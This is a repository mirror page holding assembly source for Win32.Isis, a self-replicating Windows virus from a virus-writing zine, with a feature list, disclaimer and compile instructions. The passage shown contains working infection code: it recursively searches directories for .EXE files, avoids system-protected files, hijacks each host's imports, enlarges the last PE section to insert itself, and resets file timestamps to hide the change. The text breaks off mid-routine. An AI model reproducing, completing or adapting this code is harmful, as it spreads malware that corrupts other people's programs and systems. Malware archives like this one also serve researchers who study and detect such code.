mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 09:26:09 +00:00
965 lines
42 KiB
NASM
965 lines
42 KiB
NASM
COMMENT ` ---------------------------------------------------------------- )=-
|
|
-=( Natural Selection Issue #1 -------------------------------- Win32.Isis )=-
|
|
-=( ---------------------------------------------------------------------- )=-
|
|
|
|
-=( 0 : Win32.Isis Features ---------------------------------------------- )=-
|
|
|
|
Imports: Copies LoadLibraryA and GetProcAddress from hosts [it will
|
|
only infect files that already Import both]
|
|
Infects: PE files with an .EXE extension by expanding the last
|
|
section, but without setting the write bit
|
|
Strategy: With a fully recursive directory scanning engine that
|
|
doesn't enter directories more than once per run
|
|
Compatibility: 95/98/ME/NT/2000 Compatible, avoids Win2K SFC'd files
|
|
Saves Stamps: Yes
|
|
MultiThreaded: No
|
|
Polymorphism: None
|
|
AntiAV / EPO: None
|
|
SEH Abilities: None
|
|
Payload: Displays a MessageBoxA
|
|
|
|
-=( 1 : Win32.Isis Design Goals ------------------------------------------ )=-
|
|
|
|
: To test an implementation of MASMs type checking on API and PROC calls.
|
|
: To place all virus data into one structure that can be stack hosted, so the
|
|
write bit does not need to be set in infected sections.
|
|
: To serve as a test virus for a fast, recursive directory scanner, which does
|
|
not visit the same directory twice, and uses only stack data.
|
|
: To use Imports through GetProcAddress/LoadLibraryA, which are stolen in
|
|
hosts that already import them.
|
|
|
|
When it was finished, a friend's pet rat had died, her name was Isis, and so
|
|
the virus was named in its memory. Besides it's a nice virus name too.
|
|
|
|
-=( 2 : Win32.Isis Design Faults ----------------------------------------- )=-
|
|
|
|
While it did achieve all of the design goals, its structure really needs a lot
|
|
of work, especially to clean up the data tables. When infecting some PE
|
|
files, headers and sections can be incorrectly calculated [rarely], so that
|
|
would also need to be modified. Finally, a lot of the variables are badly
|
|
named.
|
|
|
|
-=( 3 : Win32.Isis Disclaimer -------------------------------------------- )=-
|
|
|
|
THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE
|
|
COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND
|
|
BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM,
|
|
YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.
|
|
|
|
COPYRIGHT
|
|
Copyright on materials in this magazine and the information therein and
|
|
their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated.
|
|
|
|
RIGHTS AND LIMITATIONS
|
|
You have the right to use, copy and distribute the material in this
|
|
magazine free of charge, for all purposes allowed by your governing
|
|
laws. You are expressly PROHIBITED from using the material contained
|
|
herein for any purposes that would cause or would help promote
|
|
the illegal use of the material.
|
|
|
|
NO WARRANTY
|
|
The information contained within this magazine are provided "as is".
|
|
FEATHERED SERPENTS do not warranty the accuracy, adequacy,
|
|
or completeness of given information, and expressly disclaims
|
|
liability for errors or omissions contained therein. No implied,
|
|
express, or statutory warranty, is given in conjunction with this magazine.
|
|
|
|
LIMITATION OF LIABILITY
|
|
In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any
|
|
damages including and without limitation, direct or indirect, special,
|
|
incidental, or consequential damages, losses, or expenses arising in
|
|
connection with this magazine, or the use thereof.
|
|
|
|
ADDITIONAL DISCLAIMER
|
|
Computer viruses will spread of their own accord between computer systems, and
|
|
across international boundaries. They are raw animals with no concern for the
|
|
law, and for that reason your possession of them makes YOU responsible for the
|
|
actions they carry out.
|
|
|
|
The viruses provided in this magazine are for educational purposes ONLY. They
|
|
are NOT intended for use in ANY WAY outside of strict, controlled laboratory
|
|
conditions. If compiled and executed these viruses WILL land you in court(s).
|
|
|
|
You will be held responsible for your actions. As source code these viruses
|
|
are inert and covered by implied freedom of speech laws in some
|
|
countries. In binary form these viruses are malicious weapons. FEATHERED
|
|
SERPENTS do not condone the application of these viruses and will NOT be held
|
|
LIABLE for any MISUSE.
|
|
|
|
-=( 4 : Win32.Isis Compile Instructions ---------------------------------- )=-
|
|
|
|
MASM 6.15 and LINK 6.00.8447
|
|
ml /c /Cp /coff /Fl /Zi Isis.asm
|
|
link /debug /debugtype:cv /subsystem:windows Isis.obj
|
|
|
|
-=( 5 : Win32.Isis ------------------------------------------------------- ) `
|
|
|
|
.386p ; 386 opcodes
|
|
.model flat,stdcall ; Written for flat Win32
|
|
option casemap:none ; Use mixed case symbols
|
|
include masmwinc.inc ; Win32 constant symbols
|
|
includelib c:\masm32\lib\kernel32.lib ; First-run imported API
|
|
|
|
ExitProcess PROTO :DWORD
|
|
LoadLibraryA PROTO :DWORD
|
|
GetProcAddress PROTO :DWORD, :DWORD
|
|
|
|
Host SEGMENT 'CODE'
|
|
push 0
|
|
call ExitProcess
|
|
call LoadLibraryA
|
|
call GetProcAddress
|
|
Host ENDS
|
|
|
|
; =============================================================================
|
|
; ( Virus Constants, Protos, and Macros ) =====================================
|
|
; =============================================================================
|
|
|
|
FRUN_HOSTSRVA EQU 3000H
|
|
FRUN_VIRUSRVA EQU 5000H
|
|
FRUN_LOADLIBRARYA EQU 9060H
|
|
FRUN_GETPROCADDRESS EQU 9064H
|
|
GAME_OVER_MAX EQU 6
|
|
AVOIDED_FILES EQU FILE_ATTRIBUTE_DEVICE OR FILE_ATTRIBUTE_TEMPORARY OR \
|
|
FILE_ATTRIBUTE_SPARSE_FILE OR FILE_ATTRIBUTE_REPARSE_POINT OR \
|
|
FILE_ATTRIBUTE_OFFLINE OR FILE_ATTRIBUTE_COMPRESSED OR \
|
|
FILE_ATTRIBUTE_ENCRYPTED
|
|
|
|
|
|
DO_API MACRO PARAM:VARARG
|
|
PUSHAD
|
|
INVOKE PARAM
|
|
MOV [ESP+1CH], EAX
|
|
POPAD
|
|
ENDM DO_API
|
|
|
|
CompareStringM MACRO STRING1:REQ, STRING2:REQ
|
|
DO_API tCompareStringA PTR [esi + VX.pCompareStringA], \
|
|
LOCALE_SYSTEM_DEFAULT, NORM_IGNORECASE, STRING1, -1, \
|
|
STRING2, -1
|
|
ENDM CompareStringM
|
|
|
|
CreateFileM MACRO FILENAME:REQ
|
|
DO_API tCreateFileA PTR [esi + VX.pCreateFileA], FILENAME, \
|
|
GENERIC_READ OR GENERIC_WRITE, 0, 0, OPEN_EXISTING, \
|
|
0, 0
|
|
ENDM CreateFileM
|
|
|
|
CreateFileMappingM MACRO HANDLE:REQ, SIZE:REQ
|
|
DO_API tCreateFileMappingA PTR [esi + VX.pCreateFileMappingA], \
|
|
HANDLE, 0, PAGE_READWRITE, 0, SIZE, 0
|
|
ENDM CreateFileMappingM
|
|
|
|
ListEntry MACRO POINTER: REQ, STRING:REQ, TYPE:VARARG
|
|
p&POINTER DD 0
|
|
s&POINTER DB STRING, 0
|
|
TYPE
|
|
ENDM ListEntry
|
|
|
|
MapViewOfFileM MACRO HANDLE:REQ
|
|
DO_API tMapViewOfFile PTR [esi + VX.pMapViewOfFile], HANDLE, \
|
|
FILE_MAP_ALL_ACCESS, NULL, NULL, NULL
|
|
ENDM MapViewOfFileM
|
|
|
|
VirusEntry PROTO
|
|
Recurse PROTO VD:PTR VX, RL:PTR RX
|
|
AccessFile PROTO VD:PTR VX, RD:PTR RX
|
|
|
|
PrepareFile PROTO VD:PTR VX, RD:PTR RX, MAP:DWORD
|
|
ImportScan PROTO VD:PTR VX, MAP:DWORD, TABLE:DWORD
|
|
FinishFile PROTO VD:PTR VX, RD:PTR RX, MAP:DWORD
|
|
|
|
AlignToVA PROTO VALUE:DWORD, ALIGNER:DWORD
|
|
ConvertToVA PROTO MAP:DWORD, VALUE:DWORD
|
|
|
|
___SfcIsFileProtected PROTO A:DWORD, B:DWORD
|
|
___CheckSumMappedFile PROTO A:DWORD, B:DWORD, Y:DWORD, Z:DWORD
|
|
|
|
; =============================================================================
|
|
; ( Virus Structures ) ========================================================
|
|
; =============================================================================
|
|
|
|
VX STRUCT DWORD
|
|
VirusEntryPoint DD FRUN_VIRUSRVA
|
|
HostsEntryPoint DD FRUN_HOSTSRVA
|
|
LoadLibraryRVA DD FRUN_LOADLIBRARYA
|
|
GetProcAddressRVA DD FRUN_GETPROCADDRESS
|
|
|
|
DeltaOffset DD 0
|
|
GameOverMan DD 0
|
|
FindSpecification DB '*', 0
|
|
ExecSpecification DB '.EXE', 0
|
|
|
|
SectionEntry DD 0
|
|
NewFileSize DD 0
|
|
NewSectionSize DD 0
|
|
|
|
ImportList DD VX.pCloseHandle, VX.ImportKernel32, NULL
|
|
DD VX.pCompareStringA, VX.ImportKernel32, NULL
|
|
DD VX.pCreateFileA, VX.ImportKernel32, NULL
|
|
DD VX.pCreateFileMappingA, VX.ImportKernel32, NULL
|
|
DD VX.pFindClose, VX.ImportKernel32, NULL
|
|
DD VX.pFindFirstFileA, VX.ImportKernel32, NULL
|
|
DD VX.pFindNextFileA, VX.ImportKernel32, NULL
|
|
DD VX.pGetCurrentDirectoryA, VX.ImportKernel32, NULL
|
|
DD VX.pGetFileAttributesA, VX.ImportKernel32, NULL
|
|
DD VX.pGetLocalTime, VX.ImportKernel32, NULL
|
|
DD VX.pMapViewOfFile, VX.ImportKernel32, NULL
|
|
DD VX.pSetCurrentDirectoryA, VX.ImportKernel32, NULL
|
|
DD VX.pSetFileAttributesA, VX.ImportKernel32, NULL
|
|
DD VX.pSetFileTime, VX.ImportKernel32, NULL
|
|
DD VX.pUnmapViewOfFile, VX.ImportKernel32, NULL
|
|
DD VX.pMessageBoxA, VX.ImportUser32, NULL
|
|
DD VX.pCheckSumMappedFile, VX.ImportImageHlp, AlternSum - WinMain
|
|
DD VX.pSfcIsFileProtected, VX.ImportSfc, AlternSfc - WinMain
|
|
DD NULL
|
|
|
|
ImportKernel32 DB 'KERNEL32.DLL', 0
|
|
ListEntry CloseHandle, 'CloseHandle', tCloseHandle TYPEDEF PROTO :DWORD
|
|
ListEntry CompareStringA, 'CompareStringA', tCompareStringA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
|
|
ListEntry CreateFileA, 'CreateFileA', tCreateFileA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
|
|
ListEntry CreateFileMappingA, 'CreateFileMappingA', tCreateFileMappingA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
|
|
ListEntry FindClose, 'FindClose', tFindClose TYPEDEF PROTO :DWORD
|
|
ListEntry FindFirstFileA, 'FindFirstFileA', tFindFirstFileA TYPEDEF PROTO :DWORD,:DWORD
|
|
ListEntry FindNextFileA, 'FindNextFileA', tFindNextFileA TYPEDEF PROTO :DWORD,:DWORD
|
|
ListEntry GetCurrentDirectoryA, 'GetCurrentDirectoryA', tGetCurrentDirectoryA TYPEDEF PROTO :DWORD,:DWORD
|
|
ListEntry GetFileAttributesA, 'GetFileAttributesA', tGetFileAttributesA TYPEDEF PROTO :DWORD
|
|
ListEntry GetProcAddress, 'GetProcAddress', tGetProcAddress TYPEDEF PROTO :DWORD,:DWORD
|
|
ListEntry GetLocalTime, 'GetLocalTime', tGetLocalTime TYPEDEF PROTO :DWORD
|
|
ListEntry LoadLibraryA, 'LoadLibraryA', tLoadLibraryA TYPEDEF PROTO :DWORD
|
|
ListEntry MapViewOfFile, 'MapViewOfFile', tMapViewOfFile TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
|
|
ListEntry SetCurrentDirectoryA, 'SetCurrentDirectoryA', tSetCurrentDirectoryA TYPEDEF PROTO :DWORD
|
|
ListEntry SetFileAttributesA, 'SetFileAttributesA', tSetFileAttributesA TYPEDEF PROTO :DWORD,:DWORD
|
|
ListEntry SetFileTime, 'SetFileTime', tSetFileTime TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD
|
|
ListEntry UnmapViewOfFile, 'UnmapViewOfFile', tUnmapViewOfFile TYPEDEF PROTO :DWORD
|
|
ImportUser32 DB 'USER32.DLL', 0
|
|
ListEntry MessageBoxA, 'MessageBoxA', tMessageBoxA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD
|
|
ImportImageHlp DB 'IMAGEHLP.DLL', 0
|
|
ListEntry CheckSumMappedFile, 'CheckSumMappedFile', tCheckSumMappedFile TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD
|
|
ImportSfc DB 'SFC.DLL', 0
|
|
ListEntry SfcIsFileProtected, 'SfcIsFileProtected', tSfcIsFileProtected TYPEDEF PROTO :DWORD,:DWORD
|
|
|
|
VirusTitle DB 'Your Computer Flows With The Spyryt Of Win32.Isis', 0 ; Your Computer Flows With The Spyryt Of Win32.Isis
|
|
VirusMessage DB 'Dedicated to our Isis and Horus: Maman vous aime!', 13, 10 ; Dedicated to our Isis and Horus: Maman vous aime!
|
|
DB 13, 10 ;
|
|
DB 'Create', 9, 'PROTO Mother:PTR Rat, Father:PTR Rat', 13, 10 ; Create PROTO Mother:PTR Rat, Father:PTR Rat
|
|
DB 9, '...', 13, 10 ; ...
|
|
DB 'Rat', 9, 'STRUCT', 13, 10 ; Rat STRUCT
|
|
DB 9, 'Colour', 9, 'DB 10 DUP (?)', 13, 10 ; Colour DB 10 DUP (?)
|
|
DB 9, 'Length', 9, 'DD ?', 13, 10 ; Length DD ?
|
|
DB 'Rat', 9, 'ENDS', 13, 10 ; Rat ENDS
|
|
DB 9, '...', 13, 10 ; ...
|
|
DB 'Isis', 9, 'Rat {''Drk', 9, 'Blonde'', 9}', 9, '; Mother', 13, 10 ; Isis Rat {'Drk Blonde', 9} ; Mother
|
|
DB 'Horus', 9, 'Rat {''Ash', 9, 'Blonde'', 7}', 9, '; Father', 13, 10 ; Horus Rat {'Ash Blonde', 7} ; Father
|
|
DB 9, '...', 13, 10 ; ...
|
|
DB 9, 'INVOKE Create, ADDR Isis, ADDR Horus', 13, 10 ; INVOKE Create, ADDR Isis, ADDR Horus
|
|
DB 9, '...', 13, 10 ; ...
|
|
DB 'Create', 9, 'PROC', 9, 'USES', 9, 'EBX ECX EDX ESI EDI,', 13, 10 ; Create PROC USES EBX ECX EDX ESI EDI
|
|
DB 9, 9, 9, 'Mother:PTR Rat, Father:PTR Rat', 13, 10 ; Mother:PTR Rat, Father:PTR Rat
|
|
DB 9, 9, 'LOCAL', 9, 'Daughter:Rat', 13, 10 ; LOCAL Daughter:Rat
|
|
DB 13, 10 ;
|
|
DB 9, 'mov esi,', 9, '[Mother', 9, ']', 13, 10 ; mov esi, [Mother]
|
|
DB 9, 'mov esi,', 9, '[esi', 9, ']', 13, 10 ; mov esi, [esi]
|
|
DB 9, 'mov ebx,', 9, '[esi + Rat.Length', 9, ']', 13, 10 ; mov ebx, [esi + Rat.Length]
|
|
DB 9, 'mov edi,', 9, '[Father', 9, ']', 13, 10 ; mov edi, [Father]
|
|
DB 9, 'mov edi,', 9, '[edi', 9, ']', 13, 10 ; mov edi, [edi]
|
|
DB 9, 'add ebx,', 9, '[edi + Rat.Length', 9, ']', 13, 10 ; add ebx, [edi + Rat.Length]
|
|
DB 9, 'shr ebx,', 9, 9, '1', 13, 10 ; shr ebx, 1
|
|
DB 9, 'mov [Daughter.Length],', 9, 'ebx', 13, 10 ; mov [Daughter.Length], ebx
|
|
DB 9, '...', 13, 10 ; ...
|
|
DB 13, 10, 0 ;
|
|
ALIGN 4
|
|
VX ENDS
|
|
|
|
RX STRUCT DWORD
|
|
FindData WIN32_FIND_DATA {?}
|
|
FindHandle DD ?
|
|
NewDirectory DD MAX_PATH DUP (?)
|
|
CurrentDirectory DD MAX_PATH DUP (?)
|
|
LastRecurse DD ?
|
|
ALIGN 4
|
|
RX ENDS
|
|
|
|
; =============================================================================
|
|
; ( Virus EntryPoint ) ========================================================
|
|
; =============================================================================
|
|
|
|
Virus SEGMENT 'CODE'
|
|
WinMain:
|
|
push NULL ; Updated to become HostsEntryPoint later
|
|
|
|
VirusEntry PROC
|
|
LOCAL VD:VX
|
|
|
|
; Save the registers for our host, calculate WinMain VA and Delta Offset
|
|
pusha
|
|
pushfd
|
|
call @F
|
|
@@: pop esi
|
|
sub esi, 12h ; @B - WinMain
|
|
mov eax, esi
|
|
sub esi, offset WinMain
|
|
push esi
|
|
|
|
; Copy our data section into the allocated stack area. Must be / DWORD.
|
|
lea esi, [esi][Virus_Data]
|
|
lea edi, [VD]
|
|
mov ecx, Size VD / 4
|
|
cld
|
|
rep movsd
|
|
pop [VD.DeltaOffset ]
|
|
|
|
; ImageBase = WinMain VA - WinMain RVA. Convert critical API RVA to VA.
|
|
sub eax, [VD.VirusEntryPoint ]
|
|
|
|
push eax
|
|
add eax, [VD.LoadLibraryRVA ]
|
|
mov eax, [eax]
|
|
mov [VD.pLoadLibraryA], eax
|
|
pop eax
|
|
|
|
push eax
|
|
add eax, [VD.GetProcAddressRVA]
|
|
mov eax, [eax]
|
|
mov [VD.pGetProcAddress], eax
|
|
pop eax
|
|
|
|
; Overwrite the NULL we stored on the stack with our Hosts EntryPoint VA
|
|
add eax, [VD.HostsEntryPoint ]
|
|
mov [ebp + DWORD], eax
|
|
|
|
; Parse our ImportList. Formatted as: API RVA, DLL RVA, ALTERNATE RVA.
|
|
lea esi, [VD.ImportList]
|
|
@@: lodsd ; RVA of API DWORD
|
|
or eax, eax ; NULL if List End
|
|
jz @F ; Stop if it's the end of this List
|
|
lea edi, [eax][VD] ; EDI = Where to write final API VA
|
|
lea ebx, [eax][VD][4] ; API Name String follows API DWORD
|
|
lodsd ; DLL Name String RVA
|
|
|
|
DO_API tLoadLibraryA PTR [VD.pLoadLibraryA ], ADDR [VD][eax]
|
|
DO_API tGetProcAddress PTR [VD.pGetProcAddress], eax, ebx
|
|
|
|
stosd ; Save VA into API VA
|
|
or eax, eax ; Check if successful
|
|
lodsd ; Alternate Entry RVA
|
|
jnz @B ; Loop back if all OK
|
|
|
|
or eax, eax ; Check if Alternate doesn't exist
|
|
jz WinExit ; Abort, because we need something
|
|
add eax, offset WinMain
|
|
add eax, [VD.DeltaOffset]
|
|
mov [edi][-4], eax
|
|
jmp @B ; Save Alternates VA and loop back
|
|
|
|
@@: ; Initialize counter, recurse through directories for infectable files
|
|
mov [VD.GameOverMan], NULL
|
|
DO_API Recurse, ADDR [VD], NULL
|
|
|
|
; Check if the date is 21st of November which is when Isis passed away
|
|
DO_API tGetLocalTime PTR [VD.pGetLocalTime], ADDR [VD]
|
|
cmp WORD PTR [VD][2], 11
|
|
jne WinExit
|
|
cmp WORD PTR [VD][6], 20
|
|
jne WinExit
|
|
|
|
DO_API tMessageBoxA PTR [VD.pMessageBoxA], NULL, ADDR [VD.VirusMessage], ADDR [VD.VirusTitle], NULL
|
|
|
|
WinExit:
|
|
popfd
|
|
popa
|
|
ret
|
|
VirusEntry ENDP
|
|
|
|
; =============================================================================
|
|
; ( Directory/File Recursion ) ================================================
|
|
; =============================================================================
|
|
Recurse PROC VD:Ptr VX, RL:Ptr RX
|
|
LOCAL RD:RX
|
|
|
|
; Search for the first entry in our current directory
|
|
mov esi, [VD]
|
|
mov eax, [RL]
|
|
mov [RD.LastRecurse], eax
|
|
|
|
DO_API tFindFirstFileA PTR [esi][VX.pFindFirstFileA], ADDR [esi][VX.FindSpecification], ADDR [RD.FindData]
|
|
mov [RD.FindHandle], eax
|
|
cmp eax, INVALID_HANDLE_VALUE
|
|
je RecurseExit
|
|
|
|
RecurseOkay:
|
|
; Don't touch files or directories with these strange attributes set
|
|
test dword ptr [RD.FindData.FileAttributes], AVOIDED_FILES
|
|
jnz RecurseNext
|
|
; Split between file / directory routines
|
|
test dword ptr [RD.FindData.FileAttributes], FILE_ATTRIBUTE_DIRECTORY
|
|
jnz RecurseDirs
|
|
|
|
; Locate end of file name
|
|
lea edi, [RD.FindData.FileName ]
|
|
xor eax, eax
|
|
mov ecx, MAX_PATH
|
|
repnz scasb
|
|
jnz RecurseNext
|
|
sub edi, 5
|
|
|
|
; Compare extension with .EXE
|
|
lea eax, [esi][VX.ExecSpecification]
|
|
CompareStringM eax, edi
|
|
cmp eax, 2
|
|
jne RecurseNext
|
|
|
|
; Check if it's under SFC protection or if it's too big for us to handle
|
|
DO_API tSfcIsFileProtected PTR [esi][VX.pSfcIsFileProtected], NULL, ADDR [RD.FindData.FileName]
|
|
or eax, eax
|
|
jnz @F
|
|
|
|
cmp [RD.FindData.FileSizeHigh], 0
|
|
jne @F
|
|
|
|
DO_API AccessFile, [VD], ADDR [RD]
|
|
@@: jmp RecurseNext
|
|
|
|
RecurseDirs:
|
|
; Don't recurse if we've recursed enough. Save the current directory and
|
|
; change to the new one and save its full directory name as well.
|
|
cmp [esi][VX.GameOverMan], GAME_OVER_MAX
|
|
je RecurseNext
|
|
|
|
DO_API tGetCurrentDirectoryA PTR [esi][VX.pGetCurrentDirectoryA], MAX_PATH, ADDR [RD.CurrentDirectory ]
|
|
cmp eax, NULL
|
|
je RecurseNext
|
|
|
|
DO_API tSetCurrentDirectoryA PTR [esi][VX.pSetCurrentDirectoryA], ADDR [RD.FindData.FileName]
|
|
cmp eax, NULL
|
|
je RecurseNext
|
|
|
|
DO_API tGetCurrentDirectoryA PTR [esi][VX.pGetCurrentDirectoryA], MAX_PATH, ADDR [RD.NewDirectory ]
|
|
cmp eax, NULL
|
|
je RecurseNext
|
|
|
|
; Loop through each Recurse stack comparing New to Currents
|
|
lea ebx, [RD.NewDirectory ]
|
|
lea edi, [RD]
|
|
@@: lea ecx, [edi][RX.CurrentDirectory]
|
|
CompareStringM ecx, ebx
|
|
cmp eax, 2
|
|
je RecurseMatch
|
|
mov edi, [edi][RX.LastRecurse]
|
|
or edi, edi
|
|
jnz @B
|
|
|
|
inc [esi][VX.GameOverMan ]
|
|
DO_API Recurse, [VD], ADDR [RD]
|
|
dec [esi][VX.GameOverMan ]
|
|
|
|
RecurseMatch:
|
|
DO_API tSetCurrentDirectoryA PTR [esi][VX.pSetCurrentDirectoryA], ADDR [RD.CurrentDirectory]
|
|
|
|
RecurseNext:
|
|
; Abort if we've recursed and infected enough
|
|
cmp [esi][VX.GameOverMan], GAME_OVER_MAX
|
|
je RecurseCleanup
|
|
|
|
; Continue the search for files / directories
|
|
DO_API tFindNextFileA PTR [esi][VX.pFindNextFileA], [RD.FindHandle], ADDR [RD.FindData ]
|
|
or eax, eax
|
|
jne RecurseOkay
|
|
|
|
RecurseCleanup:
|
|
; Close our search handle and exit
|
|
DO_API tFindClose PTR [esi][VX.pFindClose], [RD.FindHandle]
|
|
|
|
RecurseExit:
|
|
ret
|
|
Recurse ENDP
|
|
|
|
; =============================================================================
|
|
; ( File Access Moderator ) ===================================================
|
|
; =============================================================================
|
|
AccessFile PROC VD:PTR VX, RD:PTR RX
|
|
|
|
; Remove attributes only if necessary
|
|
mov esi, [VD]
|
|
mov edi, [RD]
|
|
test [esi][RX.FindData.FileAttributes], FILE_ATTRIBUTE_READONLY OR FILE_ATTRIBUTE_SYSTEM
|
|
jz @F
|
|
DO_API tSetFileAttributesA PTR [esi][VX.pSetFileAttributesA], ADDR [edi][RX.FindData.FileName], FILE_ATTRIBUTE_NORMAL
|
|
or eax, eax
|
|
jz AccessExit
|
|
|
|
@@: ; Open the file fully, saving each handle on the stack as we go
|
|
CreateFileM ADDR [edi][RX.FindData.FileName]
|
|
cmp eax, INVALID_HANDLE_VALUE
|
|
je AccessAttributes
|
|
push eax
|
|
push eax
|
|
|
|
CreateFileMappingM eax, 0
|
|
or eax, eax
|
|
jz AccessCloseFile
|
|
push eax
|
|
|
|
MapViewOfFileM eax
|
|
cmp eax, INVALID_HANDLE_VALUE
|
|
jz AccessCloseMap
|
|
push eax
|
|
|
|
; Prepare the file for infection by making sure headers are correct,
|
|
; working out how much space we will add to the file sections, etc
|
|
DO_API PrepareFile, [VD], [RD], eax
|
|
or eax, eax
|
|
jz AccessCloseView
|
|
|
|
; Close the file and reopen it bigger to fit the virus inside
|
|
pop eax
|
|
DO_API tUnmapViewOfFile PTR [esi][VX.pUnmapViewOfFile], eax
|
|
pop eax
|
|
DO_API tCloseHandle PTR [esi][VX.pCloseHandle], eax
|
|
|
|
pop eax
|
|
push eax
|
|
CreateFileMappingM eax, [esi][VX.NewFileSize]
|
|
or eax, eax
|
|
jz AccessCloseFile
|
|
push eax
|
|
|
|
MapViewOfFileM eax
|
|
cmp eax, INVALID_HANDLE_VALUE
|
|
jz AccessCloseMap
|
|
push eax
|
|
|
|
; Finish up infecting the file and increment infection counter
|
|
DO_API FinishFile, [VD], [RD], eax
|
|
or eax, eax
|
|
jz AccessCloseView
|
|
inc [esi][VX.GameOverMan ]
|
|
|
|
AccessCloseView:
|
|
pop eax
|
|
DO_API tUnmapViewOfFile PTR [esi][VX.pUnmapViewOfFile], eax
|
|
|
|
AccessCloseMap:
|
|
pop eax
|
|
DO_API tCloseHandle PTR [esi][VX.pCloseHandle], eax
|
|
|
|
AccessCloseFile:
|
|
; Reset file stamps so that we don't look too suspicious
|
|
pop ebx
|
|
DO_API tSetFileTime PTR [esi][VX.pSetFileTime], ebx, ADDR [edi][RX.FindData.LastWriteTime], ADDR [edi][RX.FindData.LastAccessTime], ADDR [edi][RX.FindData.CreationTime]
|
|
pop eax
|
|
DO_API tCloseHandle PTR [esi][VX.pCloseHandle], eax
|
|
|
|
AccessAttributes:
|
|
; Restore attributes only if they were changed
|
|
test [esi][RX.FindData.FileAttributes], FILE_ATTRIBUTE_READONLY OR \
|
|
FILE_ATTRIBUTE_SYSTEM
|
|
jz AccessExit
|
|
DO_API tSetFileAttributesA PTR [esi][VX.pSetFileAttributesA], ADDR [edi][RX.FindData.FileName], [edi][RX.FindData.FileAttributes]
|
|
|
|
AccessExit:
|
|
ret
|
|
AccessFile ENDP
|
|
|
|
; =============================================================================
|
|
; ( Infection Preparation ) ===================================================
|
|
; =============================================================================
|
|
PrepareFile PROC VD:PTR VX, RD:PTR RX, MAP:DWORD
|
|
|
|
; Is the file already infected?
|
|
mov esi, [VD ]
|
|
mov edi, [MAP]
|
|
cmp [edi][IMAGE_DOS_HEADER.e_csum], -1
|
|
je PrepareFail
|
|
cmp [edi][IMAGE_DOS_HEADER.e_magic], IMAGE_DOS_SIGNATURE
|
|
jne PrepareFail
|
|
|
|
; Are the standard COFF headers okay?
|
|
add edi, [edi][IMAGE_DOS_HEADER.e_lfanew]
|
|
cmp [edi][PE.Signature], IMAGE_NT_SIGNATURE
|
|
jne PrepareFail
|
|
cmp [edi][PE.Machine], IMAGE_FILE_MACHINE_I386
|
|
jne PrepareFail
|
|
cmp [edi][PE.SizeOfOptionalHeader], IMAGE_SIZEOF_NT_OPTIONAL32_HEADER
|
|
jne PrepareFail
|
|
cmp [edi][PE.Magic], IMAGE_NT_OPTIONAL_HDR32_MAGIC
|
|
jne PrepareFail
|
|
cmp [edi][PE.SizeOfHeaders], 0
|
|
je PrepareFail
|
|
|
|
; Do some checks on the Import Table
|
|
cmp [edi][PE.NumberOfRvaAndSizes], 2
|
|
jb PrepareFail
|
|
cmp [edi][PE.DataDirectory.Import.Sizes], 0
|
|
je PrepareFail
|
|
|
|
DO_API ConvertToVA, [MAP], [edi][PE.DataDirectory.Import.RVA]
|
|
mov edx, eax
|
|
or edx, edx
|
|
jz PrepareFail
|
|
|
|
; Loop through each IMPORT Entry looking for a 'Kernel32.DLL' Name. For
|
|
; each found we ImportScan for our LoadLibraryA and GetProcAddress. We
|
|
; can get both from the one IMPORT Entry, or if only one is found, then
|
|
; we continue scanning incase there are multiple 'Kernel32.DLL', IMPORT
|
|
; entries with procedures split across them.
|
|
mov ecx, [edi][PE.DataDirectory.Import.Sizes]
|
|
mov [esi][VX.LoadLibraryRVA], 0
|
|
mov [esi][VX.GetProcAddressRVA], 0
|
|
@@: DO_API ConvertToVA, [MAP], [edx][IMPORT.Names ]
|
|
or eax, eax
|
|
jz PrepareFail
|
|
lea ebx, [esi][VX.ImportKernel32]
|
|
CompareStringM eax, ebx
|
|
cmp eax, 2
|
|
jne PrepareNext
|
|
DO_API ImportScan, [VD], [MAP], edx
|
|
or eax, eax
|
|
jnz @F
|
|
|
|
PrepareNext:
|
|
add edx, SIZE IMPORT
|
|
sub ecx, SIZE IMPORT
|
|
jz PrepareFail
|
|
cmp ecx, [edi][PE.DataDirectory.Import.Sizes]
|
|
jae PrepareFail
|
|
jmp @B
|
|
|
|
@@: ; Scan through the SECTION Table and find the last 'Physical' SECTION. We
|
|
; save its RVA because its VA won't be valid when FinalFile needs it.
|
|
movzx ecx, [edi][PE.NumberOfSections ]
|
|
add di, [edi][PE.SizeOfOptionalHeader ]
|
|
adc edi, PE.Magic
|
|
xor eax, eax
|
|
|
|
PrepareSection:
|
|
; Also check there are no 'bad' entries
|
|
cmp [edi][SECTION.VirtualSize], 0
|
|
je PrepareFail
|
|
cmp [edi][SECTION.SizeOfRawData], 0
|
|
je PrepareFail
|
|
cmp [edi][SECTION.PointerToRawData], eax
|
|
jb @F
|
|
mov eax, [edi][SECTION.PointerToRawData]
|
|
mov edx, edi
|
|
@@: add edi, SIZE SECTION
|
|
loop PrepareSection
|
|
|
|
mov edi, edx
|
|
sub edx, [MAP]
|
|
mov [esi][VX.SectionEntry], edx
|
|
|
|
; Calculate how big the SECTION will be to completely engulf the rest of
|
|
; the file [including DEBUG information] and save as VirusEntryPoint
|
|
mov edx, [RD]
|
|
mov eax, [edx][RX.FindData.FileSizeLow ]
|
|
sub eax, [edi][SECTION.PointerToRawData]
|
|
push eax
|
|
add eax, [edi][SECTION.VirtualAddress ]
|
|
mov [esi][VX.VirusEntryPoint], eax
|
|
pop eax
|
|
|
|
; Calculate the SECTION + Slack + Virus + Padding Size
|
|
mov edx, [MAP]
|
|
